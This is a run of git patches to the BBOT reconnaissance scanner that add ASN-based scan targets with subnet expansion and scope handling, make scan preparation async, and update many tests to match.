asn_number + + emails = asn_record.get("emails", []) + asn_event = self.make_event(asn_number, "ASN", parent=event) + if asn_event: + await self.emit_event( + asn_event, + context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_country})", + ) for email in emails: await self.emit_event( @@ -68,30 +94,13 @@ async def handle_event(self, event): ) async def report(self): - """Generate an ASN summary table based on the helper's cached subnets.""" + """Generate an ASN summary table based on locally tracked ASN data.""" - subnet_cache = getattr(self.helpers.asn, "_subnet_map", {}) - if not subnet_cache: + if not self.asn_data: return - # Aggregate data per ASN - asn_agg = {} - for subnet, recs in subnet_cache.items(): - for rec in recs: - asn = str(rec.get("asn", "UNKNOWN")) - entry = asn_agg.setdefault( - asn, - { - "name": rec.get("name", ""), - "description": rec.get("description", ""), - "country": rec.get("country", ""), - "subnets": set(), - }, - ) - entry["subnets"].add(subnet) - # Build table rows sorted by subnet count desc - sorted_asns = sorted(asn_agg.items(), key=lambda x: len(x[1]["subnets"]), reverse=True) + sorted_asns = sorted(self.asn_data.items(), key=lambda x: len(x[1]["subnets"]), reverse=True) header = ["ASN", "Subnet Count", "Name", "Description", "Country"] table = [] diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 75392ce8bf..1a800ec257 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -158,7 +158,7 @@ async def handle_event(self, event): for ip in base_dns: self.debug(f"Getting ASN info for IP {ip} from {provider_name} base domain {base_domain}") - asns = await self.helpers.asn.get(str(ip)) + asns = await self.helpers.asn.ip_to_subnets(str(ip)) if asns: for asn_info in asns: subnets = asn_info.get("subnets") diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index b81bfda65c..9cf115ada2 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -398,7 +398,7 @@ def merge(self, other): if other._args is not None: self._args = other._args - def bake(self, scan=None): + async def bake(self, scan=None): """ Return a "baked" copy of this preset, ready for use by a BBOT scan. @@ -489,6 +489,9 @@ def bake(self, scan=None): strict_scope=self.strict_scope, ) + # generate children, if necessary for the target type, before processing + await baked_preset.target.generate_children(baked_preset.helpers) + if scan is not None: # evaluate conditions if baked_preset.conditions: diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index b5269bf753..c2e864bb92 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -124,6 +124,7 @@ def __init__( self.duration = None self.duration_human = None self.duration_seconds = None + self._dispatcher_arg = dispatcher self._success = False self._scan_finish_status_message = None @@ -141,14 +142,19 @@ def __init__( if name is not None: kwargs["scan_name"] = name - base_preset = Preset(*targets, **kwargs) + self._unbaked_preset = Preset(*targets, **kwargs) if custom_preset is not None: if not isinstance(custom_preset, Preset): raise ValidationError(f'Preset must be of type Preset, not "{type(custom_preset).__name__}"') - base_preset.merge(custom_preset) + self._unbaked_preset.merge(custom_preset) - self.preset = base_preset.bake(self) + async def _prep(self): + """ + Creates the scan's output folder, loads its modules, and calls their .setup() methods. + """ + + self.preset = await self._unbaked_preset.bake(self) # scan name if self.preset.scan_name is None: @@ -190,12 +196,12 @@ def __init__( self._modules_loaded = False self.dummy_modules = {} - if dispatcher is None: + if self._dispatcher_arg is None: from .dispatcher import Dispatcher self.dispatcher = Dispatcher() else: - self.dispatcher = dispatcher + self.dispatcher = self._dispatcher_arg self.dispatcher.set_scan(self) # scope distance @@ -268,11 +274,6 @@ def __init__( self.__log_handlers = None self._log_handler_backup = [] - async def _prep(self): - """ - Creates the scan's output folder, loads its modules, and calls their .setup() methods. - """ - # update the master PID SHARED_INTERPRETER_STATE.update_scan_pid() @@ -283,12 +284,12 @@ async def _prep(self): f.write(self.preset.to_yaml()) # log scan overview - start_msg = f"Scan seeded with {len(self.seeds):,} targets" + start_msg = f"Scan seeded with {len(self.seeds.event_seeds):,} targets" details = [] if self.whitelist != self.target: - details.append(f"{len(self.whitelist):,} in whitelist") + details.append(f"{len(self.whitelist.event_seeds):,} in whitelist") if self.blacklist: - details.append(f"{len(self.blacklist):,} in blacklist") + details.append(f"{len(self.blacklist.event_seeds):,} in blacklist") if details: start_msg += f" ({', '.join(details)})" self.hugeinfo(start_msg) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index d894973c03..6c72605262 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -83,6 +83,9 @@ def add(self, targets, data=None): event_seeds = set() for target in targets: event_seed = EventSeed(target) + log.debug( + f"Created EventSeed: {event_seed} (type: {event_seed.type}, target_type: {event_seed._target_type}, host: {event_seed.host})" + ) if not event_seed._target_type in self.accept_target_types: log.warning(f"Invalid target type for {self.__class__.__name__}: {event_seed.type}") continue @@ -306,3 +309,27 @@ def whitelisted(self, host): def __eq__(self, other): return self.hash == other.hash + + async def generate_children(self, helpers=None): + """ + Generate children for the target, for seed types that expand into other seed types. + Helpers are passed into the _generate_children method to enable the use of network lookups and other utilities during the expansion process. + """ + # Expand seeds first + for event_seed in list(self.seeds.event_seeds): + children = await event_seed._generate_children(helpers) + for child in children: + self.seeds.add(child) + + # Also expand blacklist event seeds (like ASN targets) + for event_seed in list(self.blacklist.event_seeds): + children = await event_seed._generate_children(helpers) + for child in children: + self.blacklist.add(child) + + # After expanding seeds, update the whitelist to include any new hosts from seed expansion + # This ensures that expanded targets (like IP ranges from ASN) are considered in-scope + expanded_seed_hosts = self.seeds.hosts + for host in expanded_seed_hosts: + if host not in self.whitelist: + self.whitelist.add(host) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index a368718048..486c25e959 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -346,6 +346,229 @@ async def test_target_basic(bbot_scanner): assert {e.data for e in events} == {"http://evilcorp.com/", "evilcorp.com:443"} +@pytest.mark.asyncio +async def test_asn_targets(bbot_scanner): + """Test ASN target parsing, validation, and functionality.""" + from bbot.core.event.helpers import EventSeed + from bbot.scanner.target import BBOTTarget + from ipaddress import ip_network + + # Test ASN target parsing with different formats + for asn_format in ("ASN:15169", "AS:15169", "AS15169", "asn:15169", "as:15169", "as15169"): + event_seed = EventSeed(asn_format) + assert event_seed.type == "ASN" + assert event_seed.data == "15169" + assert event_seed.input == "ASN:15169" + + # Test ASN targets in BBOTTarget + target = BBOTTarget("ASN:15169") + assert "ASN:15169" in target.seeds.inputs + + # Test ASN with other targets + target = BBOTTarget("ASN:15169", "evilcorp.com", "1.2.3.4/24") + assert "ASN:15169" in target.seeds.inputs + assert "evilcorp.com" in target.seeds.inputs + assert "1.2.3.0/24" in target.seeds.inputs # IP ranges are normalized to network address + + # Test ASN targets must be expanded before being useful in whitelist/blacklist + # Direct ASN targets in whitelist/blacklist don't work since they have no host + # Instead, test that the ASN input is captured correctly + target = BBOTTarget("evilcorp.com") + # ASN targets should be added to seeds, not whitelist/blacklist directly + target.seeds.add("ASN:15169") + assert "ASN:15169" in target.seeds.inputs + + # Test ASN target expansion with mocked ASN helper + class MockASNHelper: + async def asn_to_subnets(self, asn_number): + if asn_number == 15169: + return [ + { + "asn": 15169, + "name": "GOOGLE", + "description": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } + ] + return [] + + class MockHelpers: + def __init__(self): + self.asn = MockASNHelper() + + # Test target expansion + target = BBOTTarget("ASN:15169") + mock_helpers = MockHelpers() + + # Verify initial state + initial_hosts = len(target.seeds.hosts) + initial_seeds = len(target.seeds.event_seeds) + + # Generate children (expand ASN to IP ranges) + await target.generate_children(mock_helpers) + + # After expansion, should have additional IP range seeds + assert len(target.seeds.event_seeds) > initial_seeds + assert len(target.seeds.hosts) > initial_hosts + + # Should contain the expanded IP ranges + assert ip_network("8.8.8.0/24") in target.seeds.hosts + assert ip_network("8.8.4.0/24") in target.seeds.hosts + + # Whitelist should also include the expanded ranges + assert ip_network("8.8.8.0/24") in target.whitelist.hosts + assert ip_network("8.8.4.0/24") in target.whitelist.hosts + + +@pytest.mark.asyncio +async def test_asn_targets_integration(bbot_scanner): + """Test ASN targets with full scanner integration.""" + from bbot.core.helpers.asn import ASNHelper + + # Mock ASN data for testing + mock_asn_data = [ + { + "asn": 15169, + "name": "GOOGLE", + "description": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } + ] + + # Create scanner with ASN target + scan = bbot_scanner("ASN:15169") + + # Mock the ASN helper to return test data + async def mock_asn_to_subnets(self, asn_number): + if asn_number == 15169: + return mock_asn_data + return [] + + # Apply the mock + original_method = ASNHelper.asn_to_subnets + ASNHelper.asn_to_subnets = mock_asn_to_subnets + + try: + # Initialize scan to access preset and target + await scan._prep() + + # Verify target was parsed correctly + assert "ASN:15169" in scan.preset.target.seeds.inputs + + # Run target expansion + await scan.preset.target.generate_children(scan.helpers) + + # Verify expansion worked + from ipaddress import ip_network + + assert ip_network("8.8.8.0/24") in scan.preset.target.seeds.hosts + assert ip_network("8.8.4.0/24") in scan.preset.target.seeds.hosts + + # Test scope checking with expanded ranges + assert scan.in_scope("8.8.8.1") + assert scan.in_scope("8.8.4.1") + assert not scan.in_scope("1.1.1.1") + + finally: + # Restore original method + ASNHelper.asn_to_subnets = original_method + + +@pytest.mark.asyncio +async def test_asn_targets_edge_cases(bbot_scanner): + """Test edge cases and error handling for ASN targets.""" + from bbot.core.event.helpers import EventSeed + from bbot.errors import ValidationError + from bbot.scanner.target import BBOTTarget + + # Test invalid ASN formats that should raise ValidationError + invalid_formats_validation_error = ["ASN:", "AS:", "ASN:abc", "AS:xyz", "ASN:-1"] + for invalid_format in invalid_formats_validation_error: + with pytest.raises(ValidationError): + EventSeed(invalid_format) + + # Test invalid ASN format that gets parsed as something else + event_seed = EventSeed("ASNXYZ") + assert event_seed.type == "DNS_NAME" # Falls back to DNS parsing + assert event_seed.data == "asnxyz" + + # Test valid edge cases + valid_formats = ["ASN:0", "AS:0", "ASN:4294967295", "AS:4294967295"] + for valid_format in valid_formats[:2]: # Test just a couple to avoid huge ASN numbers + event_seed = EventSeed(valid_format) + assert event_seed.type == "ASN" + + # Test ASN with no subnets + class MockEmptyASNHelper: + async def asn_to_subnets(self, asn_number): + return [] # No subnets found + + class MockEmptyHelpers: + def __init__(self): + self.asn = MockEmptyASNHelper() + + target = BBOTTarget("ASN:99999") # Non-existent ASN + mock_helpers = MockEmptyHelpers() + + initial_seeds = len(target.seeds.event_seeds) + await target.generate_children(mock_helpers) + + # Should not add any new seeds for empty ASN + assert len(target.seeds.event_seeds) == initial_seeds + + # Test that ASN blacklisting would happen after expansion + # Since ASN targets can't be directly added to blacklist (no host), + # the proper way would be to expand the ASN and then blacklist the IP ranges + target = BBOTTarget("evilcorp.com") + # This demonstrates the intended usage pattern - add expanded IP ranges to blacklist + target.blacklist.add("8.8.8.0/24") # Would come from ASN expansion + assert "8.8.8.0/24" in target.blacklist.inputs + + +@pytest.mark.asyncio +async def test_asn_blacklist_functionality(bbot_scanner): + """Test ASN blacklisting: IP range target with ASN in blacklist should expand and block subnets.""" + from bbot.core.helpers.asn import ASNHelper + from ipaddress import ip_network + + # Mock ASN 15169 to return 8.8.8.0/24 (within our target range) + async def mock_asn_to_subnets(self, asn_number): + if asn_number == 15169: + return [{"asn": 15169, "subnets": ["8.8.8.0/24"]}] + return [] + + original_method = ASNHelper.asn_to_subnets + ASNHelper.asn_to_subnets = mock_asn_to_subnets + + try: + # Target: 8.8.8.0/23 (includes 8.8.8.0/24 and 8.8.9.0/24) + # Blacklist: ASN:15169 (should expand to 8.8.8.0/24 and block it) + scan = bbot_scanner("8.8.8.0/23", blacklist=["ASN:15169"]) + await scan._prep() + + # The ASN should have been expanded and the subnet should be in blacklist + assert ip_network("8.8.8.0/24") in scan.preset.target.blacklist.hosts + + # 8.8.8.x should be blocked (ASN subnet in blacklist) + assert not scan.in_scope("8.8.8.1") + assert not scan.in_scope("8.8.8.8") + assert not scan.in_scope("8.8.8.255") + + # 8.8.9.x should be allowed (in target but ASN doesn't cover this) + assert scan.in_scope("8.8.9.1") + assert scan.in_scope("8.8.9.8") + assert scan.in_scope("8.8.9.255") + + # IPs outside the target should not be in scope + assert not scan.in_scope("8.8.7.1") + assert not scan.in_scope("8.8.10.1") + + finally: + ASNHelper.asn_to_subnets = original_method + + @pytest.mark.asyncio async def test_blacklist_regex(bbot_scanner, bbot_httpserver): from bbot.scanner.target import ScanBlacklist From fafdad1d193317fa9b38a4903724cb6b87aa3a8f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Sep 2025 16:38:47 -0400 Subject: [PATCH 047/129] bugfix --- bbot/scanner/scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index c2e864bb92..a20f9f3511 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -344,9 +344,9 @@ async def async_start_without_generator(self): async def async_start(self): """ """ self.start_time = datetime.now() - self.root_event.data["started_at"] = self.start_time.isoformat() try: await self._prep() + self.root_event.data["started_at"] = self.start_time.isoformat() self._start_log_handlers() self.trace(f"Ran BBOT {__version__} at {self.start_time}, command: {' '.join(sys.argv)}") From b6aa2a51cf849dccf18b6fe865addfab59388cc7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Sep 2025 17:42:03 -0400 Subject: [PATCH 048/129] fixing tests --- bbot/test/bbot_fixtures.py | 6 +++--- bbot/test/test_step_1/test_bloom_filter.py | 1 + bbot/test/test_step_1/test_regexes.py | 3 +++ 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 0180ef2567..7aa3c6c008 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -82,14 +82,14 @@ def bbot_scanner(): @pytest.fixture -def scan(): +async def scan(): from bbot.scanner import Scanner bbot_scan = Scanner("127.0.0.1", modules=["ipneighbor"]) + await bbot_scan._prep() yield bbot_scan - loop = get_event_loop() - loop.run_until_complete(bbot_scan._cleanup()) + await bbot_scan._cleanup() @pytest.fixture diff --git a/bbot/test/test_step_1/test_bloom_filter.py b/bbot/test/test_step_1/test_bloom_filter.py index 0a43f34157..73e1be0094 100644 --- a/bbot/test/test_step_1/test_bloom_filter.py +++ b/bbot/test/test_step_1/test_bloom_filter.py @@ -13,6 +13,7 @@ def generate_random_strings(n, length=10): from bbot.scanner import Scanner scan = Scanner() + await scan._prep() n_items_to_add = 100000 n_items_to_test = 100000 diff --git a/bbot/test/test_step_1/test_regexes.py b/bbot/test/test_step_1/test_regexes.py index 94860fd4c0..c93dedcc62 100644 --- a/bbot/test/test_step_1/test_regexes.py +++ b/bbot/test/test_step_1/test_regexes.py @@ -354,6 +354,7 @@ async def test_regex_helper(): from bbot import Scanner scan = Scanner("evilcorp.com", "evilcorp.org", "evilcorp.net", "evilcorp.co.uk") + await scan._prep() dns_name_regexes = regexes.event_type_regexes["DNS_NAME"] @@ -399,6 +400,7 @@ async def test_regex_helper(): # test yara hostname extractor helper scan = Scanner("evilcorp.com", "www.evilcorp.net", "evilcorp.co.uk") + await scan._prep() host_blob = """ https://evilcorp.com/ https://asdf.evilcorp.com/ @@ -424,5 +426,6 @@ async def test_regex_helper(): } scan = Scanner() + await scan._prep() extracted = await scan.extract_in_scope_hostnames(host_blob) assert extracted == set() From bff0b7ea1e13bf1bbffda0326575c84457eea74d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Sep 2025 19:57:51 -0400 Subject: [PATCH 049/129] lint --- bbot/test/bbot_fixtures.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 7aa3c6c008..5e4183a4d8 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -15,7 +15,6 @@ from bbot.core import CORE from bbot.scanner import Preset from bbot.core.helpers.misc import mkdir, rand_string -from bbot.core.helpers.async_helpers import get_event_loop log = logging.getLogger("bbot.test.fixtures") From 2aa068581b4a7ef5ce867136a1ba2cc0190da110 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Sep 2025 23:37:56 -0400 Subject: [PATCH 050/129] fixing bug --- bbot/scanner/target.py | 14 ++++++++++---- bbot/test/test_step_1/test_cli.py | 3 ++- 2 files changed, 12 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 6c72605262..b1a9d9fea0 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -315,6 +315,10 @@ async def generate_children(self, helpers=None): Generate children for the target, for seed types that expand into other seed types. Helpers are passed into the _generate_children method to enable the use of network lookups and other utilities during the expansion process. """ + # Check if this target had a custom whitelist (whitelist different from the default seed hosts) + original_seed_hosts = self.seeds.hosts + had_custom_whitelist = set(self.whitelist.inputs) != set(original_seed_hosts) + # Expand seeds first for event_seed in list(self.seeds.event_seeds): children = await event_seed._generate_children(helpers) @@ -329,7 +333,9 @@ async def generate_children(self, helpers=None): # After expanding seeds, update the whitelist to include any new hosts from seed expansion # This ensures that expanded targets (like IP ranges from ASN) are considered in-scope - expanded_seed_hosts = self.seeds.hosts - for host in expanded_seed_hosts: - if host not in self.whitelist: - self.whitelist.add(host) + # BUT only if no custom whitelist was provided - don't override user's custom whitelist + if not had_custom_whitelist: + expanded_seed_hosts = self.seeds.hosts + for host in expanded_seed_hosts: + if host not in self.whitelist: + self.whitelist.add(host) diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c663810289..e6f8af76af 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -15,7 +15,7 @@ async def test_cli_scope(monkeypatch, capsys): # basic target without whitelist monkeypatch.setattr( "sys.argv", - ["bbot", "-t", "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "--json"], + ["bbot", "-t", "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "--json", "-y"], ) result = await cli._main() out, err = capsys.readouterr() @@ -55,6 +55,7 @@ async def test_cli_scope(monkeypatch, capsys): "dns.minimal=false", "dns.search_distance=2", "--json", + "-y", ], ) result = await cli._main() From 5f010074083d4d7c721bc4cae1e6c1509bac0536 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 20 Sep 2025 08:59:14 -0400 Subject: [PATCH 051/129] fix tests --- bbot/test/test_step_1/test_web.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 893ae84aa1..5c83f9e16d 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -16,6 +16,7 @@ def server_handler(request): bbot_httpserver.expect_request(uri=re.compile(r"/nope")).respond_with_data("nope", status=500) scan = bbot_scanner() + await scan._prep() # request response = await scan.helpers.request(f"{base_url}1") @@ -109,6 +110,7 @@ def server_handler(request): bbot_httpserver.expect_request(uri=re.compile(r"/test/\d+")).respond_with_handler(server_handler) scan = bbot_scanner() + await scan._prep() urls = [f"{base_url}{i}" for i in range(100)] @@ -135,6 +137,7 @@ def server_handler(request): async def test_web_helpers(bbot_scanner, bbot_httpserver, httpx_mock): # json conversion scan = bbot_scanner("evilcorp.com") + await scan._prep() url = "http://www.evilcorp.com/json_test?a=b" httpx_mock.add_response(url=url, text="hello\nworld") response = await scan.helpers.web.request(url) @@ -155,6 +158,7 @@ async def test_web_helpers(bbot_scanner, bbot_httpserver, httpx_mock): scan2 = bbot_scanner("127.0.0.1") await scan1._prep() + await scan2._prep() module = scan1.modules["ipneighbor"] web_config = CORE.config.get("web", {}) @@ -289,6 +293,7 @@ async def test_web_interactsh(bbot_scanner, bbot_httpserver): async_correct_url = False scan1 = bbot_scanner("8.8.8.8") + await scan1._prep() scan1.status = "RUNNING" interactsh_client = scan1.helpers.interactsh(poll_interval=3) @@ -344,6 +349,7 @@ def sync_callback(data): @pytest.mark.asyncio async def test_web_curl(bbot_scanner, bbot_httpserver): scan = bbot_scanner("127.0.0.1") + await scan._prep() helpers = scan.helpers url = bbot_httpserver.url_for("/curl") bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") @@ -412,6 +418,7 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): @pytest.mark.asyncio async def test_web_http_compare(httpx_mock, bbot_scanner): scan = bbot_scanner() + await scan._prep() helpers = scan.helpers httpx_mock.add_response(url=re.compile(r"http://www\.example\.com.*"), text="wat") compare_helper = helpers.http_compare("http://www.example.com") @@ -435,6 +442,7 @@ async def test_http_proxy(bbot_scanner, bbot_httpserver, proxy_server): proxy_address = f"http://127.0.0.1:{proxy_server.server_address[1]}" scan = bbot_scanner("127.0.0.1", config={"web": {"http_proxy": proxy_address}}) + await scan._prep() assert len(proxy_server.RequestHandlerClass.urls) == 0 @@ -459,6 +467,8 @@ async def test_http_ssl(bbot_scanner, bbot_httpserver_ssl): scan1 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": True, "debug": True}}) scan2 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": False, "debug": True}}) + await scan1._prep() + await scan2._prep() r1 = await scan1.helpers.request(url) assert r1 is None, "Request to self-signed SSL server went through even with ssl_verify=True" @@ -478,6 +488,7 @@ async def test_web_cookies(bbot_scanner, httpx_mock): # make sure cookies work when enabled httpx_mock.add_response(url="http://www.evilcorp.com/cookies", headers=[("set-cookie", "wat=asdf; path=/")]) scan = bbot_scanner() + await scan._prep() client = BBOTAsyncClient(persist_cookies=True, _config=scan.config, _target=scan.target) r = await client.get(url="http://www.evilcorp.com/cookies") @@ -494,6 +505,7 @@ async def test_web_cookies(bbot_scanner, httpx_mock): # make sure they don't when they're not httpx_mock.add_response(url="http://www2.evilcorp.com/cookies", headers=[("set-cookie", "wats=fdsa; path=/")]) scan = bbot_scanner() + await scan._prep() client2 = BBOTAsyncClient(persist_cookies=False, _config=scan.config, _target=scan.target) r = await client2.get(url="http://www2.evilcorp.com/cookies") # make sure we can access the cookies @@ -526,6 +538,7 @@ def echo_cookies_handler(request): bbot_httpserver.expect_request(uri=endpoint).respond_with_handler(echo_cookies_handler) scan1 = bbot_scanner("127.0.0.1", config={"web": {"debug": True}}) + await scan1._prep() r1 = await scan1.helpers.request(url, cookies={"foo": "bar"}) assert r1 is not None, "Request to self-signed SSL server went through even with ssl_verify=True" From d5fbae3e28243ab171af58cea67b9d497397f8ea Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 20 Sep 2025 09:27:50 -0400 Subject: [PATCH 052/129] fix more tests --- bbot/test/test_step_1/test_command.py | 1 + bbot/test/test_step_1/test_dns.py | 1 + bbot/test/test_step_1/test_files.py | 1 + bbot/test/test_step_1/test_target.py | 7 +++++++ 4 files changed, 10 insertions(+) diff --git a/bbot/test/test_step_1/test_command.py b/bbot/test/test_step_1/test_command.py index 7a99aed9bc..7c03288949 100644 --- a/bbot/test/test_step_1/test_command.py +++ b/bbot/test/test_step_1/test_command.py @@ -6,6 +6,7 @@ @pytest.mark.asyncio async def test_command(bbot_scanner): scan1 = bbot_scanner() + await scan1._prep() # test timeouts command = ["sleep", "3"] diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index a8bfefa3a1..5a78cc1427 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -18,6 +18,7 @@ @pytest.mark.asyncio async def test_dns_engine(bbot_scanner): scan = bbot_scanner() + await scan._prep() await scan.helpers._mock_dns( {"one.one.one.one": {"A": ["1.1.1.1"]}, "1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]}} ) diff --git a/bbot/test/test_step_1/test_files.py b/bbot/test/test_step_1/test_files.py index feb6b928c3..300742990a 100644 --- a/bbot/test/test_step_1/test_files.py +++ b/bbot/test/test_step_1/test_files.py @@ -6,6 +6,7 @@ @pytest.mark.asyncio async def test_files(bbot_scanner): scan1 = bbot_scanner() + await scan1._prep() # tempfile tempfile = scan1.helpers.tempfile(("line1", "line2"), pipe=False) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 486c25e959..d03b68d161 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -13,6 +13,12 @@ async def test_target_basic(bbot_scanner): scan4 = bbot_scanner("8.8.8.8/29") scan5 = bbot_scanner() + await scan1._prep() + await scan2._prep() + await scan3._prep() + await scan4._prep() + await scan5._prep() + # test different types of inputs target = BBOTTarget("evilcorp.com", "1.2.3.4/8") assert "www.evilcorp.com" in target.seeds @@ -247,6 +253,7 @@ async def test_target_basic(bbot_scanner): # users + orgs + domains scan = bbot_scanner("USER:evilcorp", "ORG:evilcorp", "evilcorp.com") + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["1.2.3.4"]}, From 30624c62e95a18c735e81dc7c79372efbfad441a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 20 Sep 2025 12:24:18 -0400 Subject: [PATCH 053/129] fixing test --- bbot/test/test_step_2/module_tests/base.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 26bd0b7995..40f5209de1 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -100,12 +100,12 @@ async def module_test( module_test = self.ModuleTest( self, httpx_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys ) - self.log.debug("Mocking DNS") - await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}}) self.log.debug("Executing setup_before_prep()") await self.setup_before_prep(module_test) self.log.debug("Executing scan._prep()") await module_test.scan._prep() + self.log.debug("Mocking DNS") + await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}}) self.log.debug("Executing setup_after_prep()") await self.setup_after_prep(module_test) self.log.debug("Starting scan") From ce16a80efb36af4d41a00e3ebf200b4585353a7b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 20 Sep 2025 12:45:51 -0400 Subject: [PATCH 054/129] more test fixes, adjustments to prep --- bbot/scanner/scanner.py | 2 +- bbot/test/test_step_1/test_command.py | 2 +- bbot/test/test_step_1/test_config.py | 2 +- bbot/test/test_step_1/test_helpers.py | 2 +- bbot/test/test_step_1/test_modules_basic.py | 6 +++--- bbot/test/test_step_1/test_scan.py | 2 +- 6 files changed, 8 insertions(+), 8 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index a20f9f3511..1c890b432a 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -128,6 +128,7 @@ def __init__( self._success = False self._scan_finish_status_message = None + self._modules_loaded = False if scan_id is not None: self.id = str(scan_id) @@ -193,7 +194,6 @@ async def _prep(self): self._status_code = 0 self.modules = OrderedDict({}) - self._modules_loaded = False self.dummy_modules = {} if self._dispatcher_arg is None: diff --git a/bbot/test/test_step_1/test_command.py b/bbot/test/test_step_1/test_command.py index 7c03288949..54bbdaba25 100644 --- a/bbot/test/test_step_1/test_command.py +++ b/bbot/test/test_step_1/test_command.py @@ -117,7 +117,7 @@ async def test_command(bbot_scanner): assert not lines # test sudo + existence of environment variables - await scan1.load_modules() + await scan1._prep() path_parts = os.environ.get("PATH", "").split(":") assert "/tmp/.bbot_test/tools" in path_parts run_lines = (await scan1.helpers.run(["env"])).stdout.splitlines() diff --git a/bbot/test/test_step_1/test_config.py b/bbot/test/test_step_1/test_config.py index 72f7961379..b040bf5dc0 100644 --- a/bbot/test/test_step_1/test_config.py +++ b/bbot/test/test_step_1/test_config.py @@ -15,7 +15,7 @@ async def test_config(bbot_scanner): } ) scan1 = bbot_scanner("127.0.0.1", modules=["ipneighbor"], config=config) - await scan1.load_modules() + await scan1._prep() assert scan1.config.web.user_agent == "BBOT Test User-Agent" assert scan1.config.plumbus == "asdf" assert scan1.modules["ipneighbor"].config.test_option == "ipneighbor" diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 2c6488cb14..cc6de37f93 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -589,7 +589,7 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): await scan._cleanup() scan1 = bbot_scanner(modules="ipneighbor") - await scan1.load_modules() + await scan1._prep() assert int(helpers.get_size(scan1.modules["ipneighbor"])) > 0 await scan1._cleanup() diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 07b4f6692d..332d84b662 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -15,7 +15,7 @@ async def test_modules_basic_checks(events, httpx_mock): scan = Scanner(config={"omit_event_types": ["URL_UNVERIFIED"]}) assert "URL_UNVERIFIED" in scan.omitted_event_types - await scan.load_modules() + await scan._prep() # output module specific event filtering tests base_output_module_1 = BaseOutputModule(scan) @@ -308,7 +308,7 @@ async def test_modules_basic_perdomainonly(bbot_scanner, monkeypatch): force_start=True, ) - await per_domain_scan.load_modules() + await per_domain_scan._prep() await per_domain_scan.setup_modules() per_domain_scan.status = "RUNNING" @@ -448,7 +448,7 @@ async def test_module_loading(bbot_scanner): config={i: True for i in available_internal_modules if i != "dnsresolve"}, force_start=True, ) - await 